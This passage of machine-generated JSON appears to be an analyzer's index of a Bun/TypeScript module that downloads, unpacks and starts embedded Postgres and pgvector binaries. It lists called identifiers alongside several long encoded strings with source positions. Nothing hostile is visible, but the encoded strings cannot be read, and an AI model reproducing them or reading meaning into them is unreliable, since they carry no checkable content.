          {
            "b": "A3fjkADL\u0026gv}t#\u0026arR^HarR^HarR!vw/@HoB606[wn=WkdiJ%AarR^HarR^HarR^HarU9pvqf*aluNe#B8kA0A40E}fFB}qatkw\u003cg9yTHv@Dl}ay]51vr\u0026#cz/M$4x(mE1Cxj9larR^HarR^HarR!P3lQDlarR^HarR^Haz\u003eLcyF[.Lwo/NJByPnqdlv\u003eVarR^HarR^HarR!EwPS6nzAwgFarR^HarR^HaBLwxvru0)aBsCrarR^HarR^HarR^",
            "ln": 30785,
            "col": 63,
            "line": 845
          },
          {
            "b": "fcB5lwPzi}y-)?lzdNTdBrC^wBz8!gwO=r$B.\u0026giA=M8sazbLjaxJn{wn=WkazbtdwP}N0yZIpcarR^HB7GC)x(dB1B-Y2WdiH=qaBsCrarR^HarR!vw/@GBB97\u0026hBy!#9cmf\u0026UAb](bwPI]YCXInhwgnTF3lQDlarR^HarR!pz/fSrazC)#x(mE1Cxj(\u0026aAhvtv}x.5e]USnBy]Diz6g#8jS(a@x(kZZcP.UTarR^HarR^Hay/tcB95Krx(n2njS[DWs7#L.z*cmfarR^HarR^HarR^HkoIsUzD}6PzxJ1{zE^WfB1wCQxLzJgzddYjvR3V(vrDT5wftubaxJn{wn=WkavZ6=wP}N0y-)h6z!0M%zF78dz!0i(xM4%lay/tczE)s1x(v)ge)Jo[A^oX*zE){hxDQ.]C4LDewP}N0y-)t7A+fD6y?$k5wmM*6B.\u003eRizEEx[jTa\u0026TB7GxnwG\u0026mcx(VvJzxJv$BzkVhjZ\u0026eyz*9syA=l5rv@DfDr6%F8y\u0026r/(y\u0026BrkBuH#]d\u003ce}Ex(+[Cz/P}barR^HarR^HarR^HiV]^$i%)8MarR^HarR^HA+e#%v@%bpwP]m=A=M8sc$2\u003e\u0026B985nwM8D1aAITkA==CyaARsmwN({4B-X:mw]}Q8atUY)e*L^Sx(n3vtY9!:pJZ+#B-YU!bZTPOvrcEjA8gQ#AclnJu[0J^3lQDlarR^HaBKOtarR^HaBL^-gCyHpfEY6\u003carR^HEjmk+arV7t3lQDAdK\u003e=FarScRlVM:DBy=O6ay[]5vpAU^wGUY0azC{uwn=42zyoJGwQ4{gBp6ckasXHlB7GznvixJfz/6ifwI4w1B7F(8y\u0026r*0aARJAAb]JkwO#PjA:-D?ay/tcwncd1z/fR6arR^Rav2",
            "ln": 31156,
            "col": 8,
            "line": 860
          },
          {
            "b": "z.kWvB97\u0026by-)CkawuG!B:bGRzFTOJawV\u003e$zdc{Iq.f59zGx]dy?$kqx\u003c\u003c4BvSD47azC.mByx04aAg$pwN/?2AWJp$3lQDlarR!EwPS6nzAwgFarR!P3jm)#arUfjzGx[xAa9\u003c4B09Q*Bzbxfe)\u0026NgC4Cf9z/OV.Bzb.zdlv\u003ezarR^Hy?mYhAa.)NyhXbO3lQDl",
            "ln": 35320,
            "col": 37,
            "line": 973
          },
          {
            "b": "z/cXmx(!c1ByO#dayPvmlScusr7d]#sx4Z:q+o+WaARsmwIarjarR!pz/fSraBtkxCX7w-D2vamEipV}vrVc]BrCpmAbP=sc)@[JwmW/ixLzo[uVp47v}x.5cN?a:arR^Hv@DmaBrCKnr+lq)x(v(ijS[rXwN!U:zEU85bZTSDx(+[ox(mv1x\u003equrAbP/txl4N8Eip9[C4CYnx(v(%efGoZwO#0@wnb{]iV]!)By)9:cM)*^e{8bFz73?{3lQDlay/tcB95Kwvqo.3o\u003c@cNxDPCXAa-i.A=U@kzz2^mByO#jfhMOdBz2S9q=cj[dl?6Ud\u003c$",
            "ln": 38409,
            "col": 41,
            "line": 1049
          },
          {
            "b": "z*9swwP]m=A=M8sc$2zXB.\u003eOhzF%RtwmY\u003c]v@@?\u0026z/Z2kA+efDoDXgXyhXbnC4CYnx(v(iw].*biV]X{n(FIXe]#bPx(mM$w{C!zxi5O:B7]MgdsCOMi%)8MarV7tarR^HBzbxfe]kDsxjV9owmYj)xde9HAa.)NyhXbNaz\u003eL4z/OMXByO#*f\u003cMsMAa-i.A=U@kzxKuUasxM*By!%7wN(]Wz/Z2kA+efDoDXgXyhXbnC4CYnx(v(pdlv\u003eVarR!EwPN",
            "ln": 38707,
            "col": 10,
            "line": 1054
          },
          {
            "b": "c)rhze[GowB98F4D2vauzdN/$p*[DVdjDxWwPS6nzxJ?ty?#fuarR^HarUYoBAIRwawbNdpa*G]A=U!uw]/OBwNPasx(4uVD2vauzdN/$p*[DVefDr.By)9:cN*Ga3lQDlaBLwxvru0)aBsCrarR^HaAz4nB-IvxzGP=ii%)8MarV7tarV7t3lQDAdK\u003e=FarScRs8@1%wGV8dwGU@8C4Cf9z/M$mzGx]dy?$khwPRu\u003evrt{2B7]e@v{%ygavoTXBs?6ow]zZiaMv{oazb4@y\u0026%=faARJearR^RaA}\u003cuBy=OiwPRu\u003evrt{2B7/Gmy?aVaz/^aiA::35aARn",
            "ln": 39181,
            "col": 10,
            "line": 1067
          },
          {
            "b": "x(Wc$zEU8aCYVt/AW-BWDKp(rarR^HarUxgasH?OB97\u0026hBApI$Bz96IC4Cf9z/NiOdiJ.JqE%Y-C4ApBB-RjAAa9\u003c4e]2rszyx7vBvo?-efFKNdlv\u003eVarR^HaBKOtarR!P3lP",
            "ln": 40274,
            "col": 31,
            "line": 1097
          },
          {
            "b": "AbY-oBy!#9vrb\u003c\u003ex()]@BAIRnazbLjaAg$pwN/?2AV!!kBz\u0026:BzGx]dy?$ZDq*04#z/P@hwi7\u0026Thz=%cvrciyg::.l3lQDlarR!EwPS6nzAwgFarR!P3jm)#arSr\u003cavHc(zFTl1wft\u0026iwNY^@y\u0026*!sxlE\u0026@Bz(gxe[wK5azbUjz6inaBs}JJB985nwPI\u003cce]H",
            "ln": 41202,
            "col": 49,
            "line": 1121
          },
          {
            "b": "B7/ob3lQDlay/tcB95KzxlE\u0026@Bz(h2wPz\u003caz/cWXasw\u0026}i4={qgabc\u003carR^Hv@DmaBrCa9vPvC+auZ\u0026PxMOunB2\u003e%cvq{rvAbP/txl4N8ACNmCA+v4ABZ^1AwPhNefjw*wfk$\u0026Fy+GTlx(kOyfk$MEwN/?2AXzxIB985nwPI\u003cceHkWZxh8/Hz/QmTAa:u9v@#TfuNf#qxlE\u0026@Bz(h2wPz\u003caz/f$QAa-Y]b@d!wuNf#bA:@^he[wK5u][YrarR!GxLzJuy\u0026r%0wPxzqzF0/nDMWDKy=SXHwNXUWy+cYFxh8/Hz/M$GefDrdz*c8nz^^f\u003czF78hxlE\u0026@Bz(gLe?OI2i%(rqarR!pz/fSraAz4mauZ\u0026QCvticazbhbv}Wo3wNXUWy:?BMarR^Hx\u003ewFoa-.dne]LIOaARpqz*9swwP]m=A=M8sc$2CYCw.knvpQG)vqfK?wi7?UDVAXse]#byBAIUMu[1eA3lQDlay/tcB95KlB.kk%AV^H/luM)LwPxznA=k!yvrVc]BrCQnB1Q)wA::kWB.kk%AWSv=i%(rqarR^WfcAYdBAg/1BrAhDwNV=gx(\u003e.zayPdgvr9G0A:@=%C4z!az/fV9x(mT5xcp.[Byu!zvr9#BDmogzarR!pz/fSraAREtl${V:jS[YLBz9pwz!T8qz/WKMze:31AWSv/ayGe3B7GxnwI4\u003elC4Cf9z/NAPDVj1zv}x.5e]UJnEjVZ\u003el$7gGe]CPKc[fNLdlv\u003eVarR!sB1RrBwnc6.D2vauBzU%",
            "ln": 41419,
            "col": 53,
            "line": 1126
          },
          {
            "b": "BAhInaBLX23lQDlarR^Haz2!ev]EU\u003cv\u003c\u003e.{wfrdABzU$+x(XRAcmf\u003czAV/PHAa:u9v@#Tfe[wK5asnATByxhjCXe7evrt{gByxhxdJ*rgas8qQze.)SA^YPLCYW$mv@#o)atMblwmY{qzGP=iaBFLVByxhjCXe7evrt{gByxhxCZpF:lM^U3BzU$+x(XRPwQ5rqvpKy\u003cwmc@hDMWxKwnb%yaszbxAaHytEjmk+arR^HarV7t3lQDlarR^WfcAS2AcSMUB8Jgkx(4u6\u0026^^mow)]y\u0026az+$swnDJlx\u003ewG8x(!ufzF78k",
            "ln": 42416,
            "col": 67,
            "line": 1148
          },
          {
            "b": "vKAYHcW66hBz(gLB8JAPi%)8MarR^Hx\u003ewFoa.C^FwQ4{gBApxazEU8oz=pW^djDx^3lQDlarR^HaARpqz*9swwP]m=A=M8sc$2F*BAg/1By!#9e[wK5az\u003e?lB7]J8az2!pwN/*[wfu5bv@#Tfe]$}NvrrRqDVKa7A:%J9dlv\u003eVarR^HaBKOtarR^HazbWEv@DsimRMWIq*Am\u003cd06r9A:{TyC4Cf9z/O={dlv\u003eVarR^HaARphB1RoExj\u003e^@e[]inzZY@PAa9\u003c4iV@PSv@#Tfq/r!befDrizu",
            "ln": 42783,
            "col": 92,
            "line": 1153
          },
          {
            "b": "xGvnTxLzJuvRGZ*A+P9ae]U-IBz2S9B1vUvarR^HarR!vzGx]dy\u00260V[l3bdgzE[2ml$7gGc[c=\u003cz+i(6q/)4]zF7vDed9HxarR^HEjmk+3lQDlarR!GxLzJuy\u0026r%0wPxzqzF0/nDMWouo\u003c}^PAX5tLxlE\u0026@Bz(h2wPz\u003caz/cXCefDrVxlE\u0026@Bz(gxwQ5rd",
            "ln": 44284,
            "col": 20,
            "line": 1189
          },
          {
            "b": "C{4CvarR^HarR^HvrVc]BrCa6p\u0026yn*e[nZoB7D:Ge[nsiv}WnsdiH=qaBwI=i%)8MarR^HEf}8tarV7]3jm)#arU=DC{4CvarR^HarU9pvqf*aBAhT]A+eW3wKQ\u0026=wO#N6z/c%Li%)8M",
            "ln": 46449,
            "col": 15,
            "line": 1244
          },
          {
            "b": "x(4Pdw)]y\u0026x(mMavp\u003cQ)AV!!kBz\u0026:AwNPx$\u0026^^mozdds8vqE62zGGDgC4CMkx(v(iA+flkx(W=}cKH$sarR^HarS9{3lQDlarR!P3lQDlaBKOtaBKO7arSr!dHEpvasW",
            "ln": 47786,
            "col": 23,
            "line": 1281
          }
        ],
        "depth": 1,
        "facts": {
          "imp": [
            [
              "",
              "platform"
            ],
            [
              "",
              "os.platform"
            ],
            [
              "",
              "arch"
            ],
            [
              "",
              "os.arch"
            ],
            [
              "",
              "platformKey"
            ],
            [
              "",
              "getPlatformKey"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "os.homedir"
            ],
            [
              "",
              "platform"
            ],
            [
              "",
              "os.platform"
            ],
            [
              "",
              "cacheDir"
            ],
            [
              "",
              "getBinaryCacheDir"
            ],
            [
              "",
              "cacheBinDir"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "initdbName"
            ],
            [
              "",
              "postgresName"
            ],
            [
              "",
              "fs.existsSync"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "fs.existsSync"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "platformKey"
            ],
            [
              "",
              "getPlatformKey"
            ],
            [
              "",
              "pkgName"
            ],
            [
              "",
              "pkgVersion"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "registryUrl"
            ],
            [
              "",
              "registryRes"
            ],
            [
              "",
              "fetch"
            ],
            [
              "",
              "pkgInfo"
            ],
            [
              "",
              "registryRes.json"
            ],
            [
              "",
              "tarballUrl"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "tarballRes"
            ],
            [
              "",
              "fetch"
            ],
            [
              "",
              "tarballBuffer"
            ],
            [
              "",
              "tarballRes.arrayBuffer"
            ],
            [
              "",
              "tarballSize"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "tempDir"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "os.tmpdir"
            ],
            [
              "",
              "Date.now"
            ],
            [
              "",
              "fs.mkdirSync"
            ],
            [
              "",
              "tarballPath"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "fs.writeFileSync"
            ],
            [
              "",
              "Buffer.from"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "fs.mkdirSync"
            ],
            [
              "",
              "extractProc"
            ],
            [
              "",
              "Bun.spawn"
            ],
            [
              "",
              "nativeDir"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "fs.existsSync"
            ],
            [
              "",
              "copyDirRecursive"
            ],
            [
              "",
              "binDir"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "fs.existsSync"
            ],
            [
              "",
              "files"
            ],
            [
              "",
              "fs.readdirSync"
            ],
            [
              "",
              "filePath"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "fs.chmodSync"
            ],
            [
              "",
              "fs.rmSync"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "entries"
            ],
            [
              "",
              "fs.readdirSync"
            ],
            [
              "",
              "srcPath"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "destPath"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "entry.isDirectory"
            ],
            [
              "",
              "fs.mkdirSync"
            ],
            [
              "",
              "copyDirRecursive"
            ],
            [
              "",
              "fs.copyFileSync"
            ],
            [
              "",
              "files"
            ],
            [
              "",
              "fs.readdirSync"
            ],
            [
              "",
              "match"
            ],
            [
              "",
              "file.match"
            ],
            [
              "",
              "soname"
            ],
            [
              "",
              "sonameLink"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "fs.existsSync"
            ],
            [
              "",
              "fs.symlinkSync"
            ],
            [
              "",
              "match"
            ],
            [
              "",
              "file.match"
            ],
            [
              "",
              "basename"
            ],
            [
              "",
              "major"
            ],
            [
              "",
              "majorSoname"
            ],
            [
              "",
              "majorLink"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "fs.existsSync"
            ],
            [
              "",
              "fs.symlinkSync"
            ],
            [
              "",
              "baseSoname"
            ],
            [
              "",
              "baseLink"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "fs.existsSync"
            ],
            [
              "",
              "fs.symlinkSync"
            ],
            [
              "",
              "platform"
            ],
            [
              "",
              "os.platform"
            ],
            [
              "",
              "arch"
            ],
            [
              "",
              "os.arch"
            ],
            [
              "",
              "exeSuffix"
            ],
            [
              "",
              "cacheDir"
            ],
            [
              "",
              "getBinaryCacheDir"
            ],
            [
              "",
              "cacheBinDir"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "cachedInitdb"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "cachedPostgres"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "fs.existsSync"
            ],
            [
              "",
              "fs.existsSync"
            ],
            [
              "",
              "libDir"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "fs.existsSync"
            ],
            [
              "",
              "ensureLibrarySymlinks"
            ],
            [
              "",
              "downloadedDir"
            ],
            [
              "",
              "downloadPostgresBinaries"
            ],
            [
              "",
              "downloadedBinDir"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "downloadedInitdb"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "downloadedPostgres"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "fs.existsSync"
            ],
            [
              "",
              "fs.existsSync"
            ],
            [
              "",
              "libDir"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "fs.existsSync"
            ],
            [
              "",
              "ensureLibrarySymlinks"
            ],
            [
              "",
              "pkgName"
            ],
            [
              "",
              "pkgName"
            ],
            [
              "",
              "pkgName"
            ],
            [
              "",
              "pkgName"
            ],
            [
              "",
              "pkgName"
            ],
            [
              "",
              "possiblePaths"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "process.cwd"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "initdb"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "postgres"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "fs.existsSync"
            ],
            [
              "",
              "fs.existsSync"
            ],
            [
              "",
              "realInitdb"
            ],
            [
              "",
              "fs.realpathSync"
            ],
            [
              "",
              "realPostgres"
            ],
            [
              "",
              "fs.realpathSync"
            ],
            [
              "",
              "realBinDir"
            ],
            [
              "",
              "path.dirname"
            ],
            [
              "",
              "libDir"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "fs.existsSync"
            ],
            [
              "",
              "ensureLibrarySymlinks"
            ],
            [
              "",
              "platform"
            ],
            [
              "",
              "os.platform"
            ],
            [
              "",
              "env"
            ],
            [
              "",
              "existingLdPath"
            ],
            [
              "",
              "env.LD_LIBRARY_PATH"
            ],
            [
              "",
              "existingDyldPath"
            ],
            [
              "",
              "env.DYLD_LIBRARY_PATH"
            ],
            [
              "",
              "platform"
            ],
            [
              "",
              "os.platform"
            ],
            [
              "",
              "cmdStr"
            ],
            [
              "",
              "cmd.map.join"
            ],
            [
              "",
              "cmd.map"
            ],
            [
              "",
              "arg.replace"
            ],
            [
              "",
              "getBinaryPaths"
            ],
            [
              "",
              "fs.promises.chmod"
            ],
            [
              "",
              "fs.promises.chmod"
            ],
            [
              "",
              "fs.existsSync"
            ],
            [
              "",
              "fs.mkdirSync"
            ],
            [
              "",
              "baseDir"
            ],
            [
              "",
              "os.tmpdir"
            ],
            [
              "",
              "platform"
            ],
            [
              "",
              "os.platform"
            ],
            [
              "",
              "shmDir"
            ],
            [
              "",
              "fs.accessSync"
            ],
            [
              "",
              "baseDir"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "Date.now"
            ],
            [
              "",
              "fs.existsSync"
            ],
            [
              "",
              "fs.rmSync"
            ],
            [
              "",
              "os.platform"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "os.tmpdir"
            ],
            [
              "",
              "Date.now"
            ],
            [
              "",
              "fs.existsSync"
            ],
            [
              "",
              "fs.mkdirSync"
            ],
            [
              "",
              "pgVersionFile"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "fs.existsSync"
            ],
            [
              "",
              "randomId"
            ],
            [
              "",
              "crypto.randomBytes.toString"
            ],
            [
              "",
              "crypto.randomBytes"
            ],
            [
              "",
              "passwordFile"
            ],
            [
              "",
              "os.tmpdir"
            ],
            [
              "",
              "Bun.write"
            ],
            [
              "",
              "fs.promises.chmod"
            ],
            [
              "",
              "initdbCmd"
            ],
            [
              "",
              "proc"
            ],
            [
              "",
              "Bun.spawn"
            ],
            [
              "",
              "buildCommand"
            ],
            [
              "",
              "buildSpawnEnv"
            ],
            [
              "",
              "Promise.all"
            ],
            [
              "",
              "exitCode"
            ],
            [
              "",
              "fs.promises.unlink"
            ],
            [
              "",
              "fs.promises.unlink"
            ],
            [
              "",
              "isWindows"
            ],
            [
              "",
              "maxRetries"
            ],
            [
              "",
              "baseDelay"
            ],
            [
              "",
              "attempt"
            ],
            [
              "",
              "setTimeout"
            ],
            [
              "",
              "result"
            ],
            [
              "",
              "Array.from"
            ],
            [
              "",
              "pgArgs"
            ],
            [
              "",
              "pgArgs.push"
            ],
            [
              "",
              "pgArgs.push"
            ],
            [
              "",
              "pgArgs.push"
            ],
            [
              "",
              "Bun.spawn"
            ],
            [
              "",
              "buildCommand"
            ],
            [
              "",
              "buildSpawnEnv"
            ],
            [
              "",
              "started"
            ],
            [
              "",
              "startupOutput"
            ],
            [
              "",
              "processExited"
            ],
            [
              "",
              "portBindingSeen"
            ],
            [
              "",
              "portStr"
            ],
            [
              "",
              "markReady"
            ],
            [
              "",
              "started"
            ],
            [
              "",
              "resolve"
            ],
            [
              "",
              "readStream"
            ],
            [
              "",
              "reader"
            ],
            [
              "",
              "stream.getReader"
            ],
            [
              "",
              "decoder"
            ],
            [
              "",
              "reader.read"
            ],
            [
              "",
              "message"
            ],
            [
              "",
              "decoder.decode"
            ],
            [
              "",
              "message.trim"
            ],
            [
              "",
              "message.includes"
            ],
            [
              "",
              "portBindingSeen"
            ],
            [
              "",
              "setTimeout"
            ],
            [
              "",
              "markReady"
            ],
            [
              "",
              "readStream"
            ],
            [
              "",
              "readStream"
            ],
            [
              "",
              "processExited"
            ],
            [
              "",
              "reject"
            ],
            [
              "",
              "tryConnect"
            ],
            [
              "",
              "resolved"
            ],
            [
              "",
              "timeout"
            ],
            [
              "",
              "setTimeout"
            ],
            [
              "",
              "resolved"
            ],
            [
              "",
              "rejectConn"
            ],
            [
              "",
              "Bun.connect.catch"
            ],
            [
              "",
              "Bun.connect"
            ],
            [
              "",
              "resolved"
            ],
            [
              "",
              "clearTimeout"
            ],
            [
              "",
              "socket.end"
            ],
            [
              "",
              "resolveConn"
            ],
            [
              "",
              "resolved"
            ],
            [
              "",
              "clearTimeout"
            ],
            [
              "",
              "rejectConn"
            ],
            [
              "",
              "resolved"
            ],
            [
              "",
              "clearTimeout"
            ],
            [
              "",
              "rejectConn"
            ],
            [
              "",
              "resolved"
            ],
            [
              "",
              "clearTimeout"
            ],
            [
              "",
              "rejectConn"
            ],
            [
              "",
              "pollConnection"
            ],
            [
              "",
              "startTime"
            ],
            [
              "",
              "Date.now"
            ],
            [
              "",
              "timeoutMs"
            ],
            [
              "",
              "isWindows"
            ],
            [
              "",
              "Date.now"
            ],
            [
              "",
              "tryConnect"
            ],
            [
              "",
              "Bun.sleep"
            ],
            [
              "",
              "markReady"
            ],
            [
              "",
              "Bun.sleep"
            ],
            [
              "",
              "pollConnection"
            ],
            [
              "",
              "setTimeout"
            ],
            [
              "",
              "isWindows"
            ],
            [
              "",
              "hint"
            ],
            [
              "",
              "reject"
            ],
            [
              "",
              "resolveCreation"
            ],
            [
              "",
              "creationPromise"
            ],
            [
              "",
              "resolveCreation"
            ],
            [
              "",
              "createError"
            ],
            [
              "",
              "escapedName"
            ],
            [
              "",
              "dbName.replace"
            ],
            [
              "",
              "isAlreadyExists"
            ],
            [
              "",
              "error.message.includes"
            ],
            [
              "",
              "createError"
            ],
            [
              "",
              "resolveCreation"
            ],
            [
              "",
              "os.platform"
            ],
            [
              "",
              "paths"
            ],
            [
              "",
              "pgMajor"
            ],
            [
              "",
              "pgMajor"
            ],
            [
              "",
              "filesPresent"
            ],
            [
              "",
              "fs.existsSync"
            ],
            [
              "",
              "fs.existsSync"
            ],
            [
              "",
              "meta"
            ],
            [
              "",
              "pgvectorMetaMatches"
            ],
            [
              "",
              "libDir"
            ],
            [
              "",
              "binDir"
            ],
            [
              "",
              "extDir"
            ],
            [
              "",
              "path.dirname"
            ],
            [
              "",
              "pgVersion"
            ],
            [
              "",
              "execSync.trim"
            ],
            [
              "",
              "execSync"
            ],
            [
              "",
              "majorMatch"
            ],
            [
              "",
              "pgVersion.match"
            ],
            [
              "",
              "JSON.stringify"
            ],
            [
              "",
              "fs.existsSync"
            ],
            [
              "",
              "JSON.parse"
            ],
            [
              "",
              "fs.readFileSync"
            ],
            [
              "",
              "fs.writeFileSync"
            ],
            [
              "",
              "JSON.stringify"
            ],
            [
              "",
              "toRemove"
            ],
            [
              "",
              "fs.existsSync"
            ],
            [
              "",
              "fs.readdirSync"
            ],
            [
              "",
              "f.startsWith"
            ],
            [
              "",
              "toRemove.push"
            ],
            [
              "",
              "fs.rmSync"
            ],
            [
              "",
              "nodeArch"
            ],
            [
              "",
              "os.arch"
            ],
            [
              "",
              "arch"
            ],
            [
              "",
              "arch"
            ],
            [
              "",
              "arch"
            ],
            [
              "",
              "pgvectorVersion"
            ],
            [
              "",
              "debUrl"
            ],
            [
              "",
              "res"
            ],
            [
              "",
              "fetch"
            ],
            [
              "",
              "buffer"
            ],
            [
              "",
              "Buffer.from"
            ],
            [
              "",
              "res.arrayBuffer"
            ],
            [
              "",
              "tmpDir"
            ],
            [
              "",
              "os.tmpdir"
            ],
            [
              "",
              "Date.now"
            ],
            [
              "",
              "fs.mkdirSync"
            ],
            [
              "",
              "debPath"
            ],
            [
              "",
              "fs.writeFileSync"
            ],
            [
              "",
              "execSync"
            ],
            [
              "",
              "fs.mkdirSync"
            ],
            [
              "",
              "execSync"
            ],
            [
              "",
              "soSrc"
            ],
            [
              "",
              "fs.existsSync"
            ],
            [
              "",
              "fs.copyFileSync"
            ],
            [
              "",
              "extSrc"
            ],
            [
              "",
              "fs.existsSync"
            ],
            [
              "",
              "fs.mkdirSync"
            ],
            [
              "",
              "fs.readdirSync"
            ],
            [
              "",
              "f.startsWith"
            ],
            [
              "",
              "fs.copyFileSync"
            ],
            [
              "",
              "fs.existsSync"
            ],
            [
              "",
              "control"
            ],
            [
              "",
              "fs.readFileSync"
            ],
            [
              "",
              "control"
            ],
            [
              "",
              "control.replace"
            ],
            [
              "",
              "vectorSo.replace"
            ],
            [
              "",
              "fs.writeFileSync"
            ],
            [
              "",
              "fs.rmSync"
            ],
            [
              "",
              "os.platform"
            ],
            [
              "",
              "paths"
            ],
            [
              "",
              "tryCreateExtension"
            ],
            [
              "",
              "dbPool"
            ],
            [
              "",
              "dbPool.unsafe"
            ],
            [
              "",
              "dbPool.close.catch"
            ],
            [
              "",
              "dbPool.close"
            ],
            [
              "",
              "tryCreateExtension"
            ],
            [
              "",
              "msg"
            ],
            [
              "",
              "abiMismatch"
            ],
            [
              "",
              "tryCreateExtension"
            ],
            [
              "",
              "forceKillTimeout"
            ],
            [
              "",
              "setTimeout"
            ],
            [
              "",
              "clearTimeout"
            ],
            [
              "",
              "fs.rmSync"
            ],
            [
              "",
              "fs.rmSync"
            ],
            [
              "",
              "Array.from"
            ],
            [
              "",
              "crypto"
            ],
            [
              "",
              "fs"
            ],
            [
              "",
              "os"
            ],
            [
              "",
              "path"
            ]
          ],
          "mbr": [
            "Array.from",
            "Buffer.from",
            "Bun.connect",
            "Bun.connect().catch",
            "Bun.sleep",
            "Bun.spawn",
            "Bun.write",
            "Date().toISOString",
            "Date.now",
            "JSON.parse",
            "JSON.stringify",
            "Promise.all",
            "Response().text",
            "arg.replace",
            "cmd.map",
            "cmd.map().join",
            "console.log",
            "control.replace",
            "createError.message",
            "crypto.randomBytes",
            "crypto.randomBytes().toString",
            "dbName.replace",
            "dbPool.close",
            "dbPool.close().catch",
            "dbPool.unsafe",
            "decoder.decode",
            "entry.isDirectory",
            "entry.name",
            "env.DYLD_LIBRARY_PATH",
            "env.LD_LIBRARY_PATH",
            "err.message",
            "error.code",
            "error.message",
            "error.message.includes",
            "execSync().trim",
            "extractProc.exited",
            "f.startsWith",
            "file.match",
            "fs.accessSync",
            "fs.chmodSync",
            "fs.constants",
            "fs.constants.W_OK",
            "fs.copyFileSync",
            "fs.existsSync",
            "fs.mkdirSync",
            "fs.promises",
            "fs.promises.chmod",
            "fs.promises.unlink",
            "fs.readFileSync",
            "fs.readdirSync",
            "fs.realpathSync",
            "fs.rmSync",
            "fs.symlinkSync",
            "fs.writeFileSync",
            "healError.message",
            "message.includes",
            "message.trim",
            "meta.pgMajor",
            "meta.postgresPath",
            "options.dataDir",
            "options.enablePgvector",
            "options.logger",
            "options.password",
            "options.port",
            "options.syncEnabled",
            "options.useRam",
            "options.user",
            "os.arch",
            "os.homedir",
            "os.platform",
            "os.tmpdir",
            "path.dirname",
            "path.join",
            "paths.vectorControl",
            "paths.vectorMeta",
            "paths.vectorSo",
            "pgArgs.push",
            "pgVersion.match",
            "pkgInfo.versions",
            "proc.exited",
            "proc.stderr",
            "proc.stdout",
            "process.cwd",
            "process.env",
            "process.env.DYLD_LIBRARY_PATH",
            "process.env.LD_LIBRARY_PATH",
            "process.pid",
            "process.platform",
            "reader.read",
            "registryRes.json",
            "registryRes.ok",
            "registryRes.status",
            "res.arrayBuffer",
            "res.ok",
            "res.status",
            "retryError.message",
            "row.datname",
            "runtime.pgMajor",
            "runtime.postgresPath",
            "socket.end",
            "stream.getReader",
            "tarballBuffer.byteLength",
            "tarballRes.arrayBuffer",
            "tarballRes.ok",
            "tarballRes.status",
            "toRemove.push",
            "vectorSo.replace"
          ],
          "tgt": [
            "Array.from",
            "Buffer.from",
            "Bun.connect",
            "Bun.connect().catch",
            "Bun.sleep",
            "Bun.spawn",
            "Bun.write",
            "Date",
            "Date().toISOString",
            "Date.now",
            "Error",
            "JSON.parse",
            "JSON.stringify",
            "Map",
            "Promise",
            "Promise.all",
            "Response",
            "Response().text",
            "SQL",
            "Set",
            "TextDecoder",
            "arg.replace",
            "buildCommand",
            "buildSpawnEnv",
            "clearTimeout",
            "cmd.map",
            "cmd.map().join",
            "console.log",
            "control.replace",
            "copyDirRecursive",
            "crypto.randomBytes",
            "crypto.randomBytes().toString",
            "dbName.replace",
            "dbPool.close",
            "dbPool.close().catch",
            "dbPool.unsafe",
            "decoder.decode",
            "downloadPostgresBinaries",
            "ensureLibrarySymlinks",
            "entry.isDirectory",
            "error.message.includes",
            "execSync",
            "execSync().trim",
            "f.startsWith",
            "fetch",
            "file.match",
            "fs.accessSync",
            "fs.chmodSync",
            "fs.copyFileSync",
            "fs.existsSync",
            "fs.mkdirSync",
            "fs.promises.chmod",
            "fs.promises.unlink",
            "fs.readFileSync",
            "fs.readdirSync",
            "fs.realpathSync",
            "fs.rmSync",
            "fs.symlinkSync",
            "fs.writeFileSync",
            "getBinaryCacheDir",
            "getBinaryPaths",
            "getPlatformKey",
            "markReady",
            "message.includes",
            "message.trim",
            "os.arch",
            "os.homedir",
            "os.platform",
            "os.tmpdir",
            "path.dirname",
            "path.join",
            "pgArgs.push",
            "pgVersion.match",
            "pgvectorMetaMatches",
            "pollConnection",
            "process.cwd",
            "readStream",
            "reader.read",
            "registryRes.json",
            "reject",
            "rejectConn",
            "res.arrayBuffer",
            "resolve",
            "resolveConn",
            "resolveCreation",
            "setTimeout",
            "socket.end",
            "stream.getReader",
            "tarballRes.arrayBuffer",
            "toRemove.push",
            "tryConnect",
            "tryCreateExtension",
            "vectorSo.replace"
          ],
          "funcs": [
            [
              "getPlatformKey",
              826
            ],
            [
              "getBinaryCacheDir",
              1416
            ],
            [
